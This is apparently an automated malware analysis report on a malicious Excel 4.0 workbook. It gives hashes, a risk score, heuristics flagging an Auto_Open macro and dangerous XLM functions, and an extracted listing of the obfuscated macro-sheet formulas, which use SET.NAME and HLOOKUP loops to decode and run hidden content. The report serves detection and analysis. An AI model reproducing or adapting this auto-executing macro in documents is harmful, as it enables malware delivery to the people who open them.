Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd80741b4b9a8ff6…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:56 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 336be6d55b0df42963d63798fa421fb7 SHA-1: 24e4a9c221295a992dfb9f7c46f30d4d4d99fa17 SHA-256: dd80741b4b9a8ff6ae36b6e541e1d7c9bdcc15789b9626405710ca81a88517c1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands. While no specific URLs or hashes were extracted, the macro's execution capability is the primary threat.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6562 bytes
SHA-256: 0363857119810b948d4b88fd527a44347a116b83b3a7b4823dd7eebd6ce17968
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Kru
' 0018     27 LABEL : Cell Value, String Constant - AiVxgDHyCnKm len=0 
' 0018     22 LABEL : Cell Value, String Constant - aktrcje len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I151 
' 0018     27 LABEL : Cell Value, String Constant - BPcyEZwxvWnW len=0 
' 0018     24 LABEL : Cell Value, String Constant - eAETdPJRp len=0 
' 0018     24 LABEL : Cell Value, String Constant - EUhrNgphV len=0 
' 0018     20 LABEL : Cell Value, String Constant - gNSXg len=0 
' 0018     24 LABEL : Cell Value, String Constant - HzzmhaoEC len=0 
' 0018     22 LABEL : Cell Value, String Constant - mtFlics len=0 
' 0018     26 LABEL : Cell Value, String Constant - oplhnWZaNuz len=0 
' 0018     22 LABEL : Cell Value, String Constant - OWLzsxY len=0 
' 0018     23 LABEL : Cell Value, String Constant - PtQkqsVD len=0 
' 0018     25 LABEL : Cell Value, String Constant - qnyWAEhwoV len=0 
' 0018     22 LABEL : Cell Value, String Constant - seYYlmb len=0 
' 0018     24 LABEL : Cell Value, String Constant - sIhPTAEAT len=0 
' 0018     24 LABEL : Cell Value, String Constant - tEdEQNDvN len=0 
' 0018     25 LABEL : Cell Value, String Constant - uaUJfozLGl len=0 
' 0018     26 LABEL : Cell Value, String Constant - uoTdfMsbNih len=0 
' 0018     23 LABEL : Cell Value, String Constant - VBmyEqXz len=0 
' 0018     23 LABEL : Cell Value, String Constant - yERbCzkp len=0 
' 0018     27 LABEL : Cell Value, String Constant - zApKPCgmOMLo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Kru,P52,"",-134.00000000000000000000
'  Kru,P53,"",901.00000000000000000000
'  Kru,P54,"",745.00000000000000000000
'  Kru,P55,"",906.00000000000000000000
'  Kru,P56,"",-225.00000000000000000000
'  Kru,P57,"",-575.00000000000000000000
'  Kru,I63,"SET.NAME("gNSXg",0+VALUE("0"))",""
'  Kru,I65,"SET.NAME("uoTdfMsbNih",gNSXg)",""
'  Kru,I68,"SET.NAME("yERbCzkp",gNSXg)",""
'  Kru,I70,"SET.NAME("oplhnWZaNuz",COUNTA(sIhPTAEAT))",""
'  Kru,I72,"SET.NAME("VBmyEqXz",COUNTA(OWLzsxY))",""
'  Kru,I77,[],""
'  Kru,I81,"SET.NAME("EUhrNgphV","")",""
'  Kru,I85,"uoTdfMsbNih",""
'  Kru,I89,"SET.NAME("zApKPCgmOMLo",HLOOKUP("*",sIhPTAEAT,uoTdfMsbNih,FALSE))",""
'  Kru,I94,"PtQkqsVD",""
'  Kru,I97,"SET.NAME("tEdEQNDvN",gNSXg)",""
'  Kru,I100,[],""
'  Kru,I105,"tEdEQNDvN",""
'  Kru,I108,"qnyWAEhwoV",""
'  Kru,I112,"mtFlics",""
'  Kru,I116,"aktrcje",""
'  Kru,I118,"SET.NAME("AiVxgDHyCnKm",VALUE(HLOOKUP("*",OWLzsxY,aktrcje,FALSE)))",""
'  Kru,I121,"seYYlmb",""
'  Kru,I123,"EUhrNgphV",""
'  Kru,I128,"yERbCzkp",""
'  Kru,I132,NEXT(),""
'  Kru,I135,"BPcyEZwxvWnW",""
'  Kru,I139,[],""
'  Kru,I141,"uaUJfozLGl",""
'  Kru,I143,NEXT(),""
'  Kru,I148,RETURN(),""
'  Kru,I178,"SET.NAME("eAETdPJRp",I63)",""
'  Kru,I182,"sIhPTAEAT",""
'  Kru,I184,"SET.NAME("OWLzsxY",R54C11)",""
'  Kru,I187,"SET.NAME("uaUJfozLGl",198)",""
'  Kru,I192,"SET.NAME("HzzmhaoEC",9)",""
'  Kru,I197,eAETdPJRp(),""
'  Kru,I198,HALT(),""

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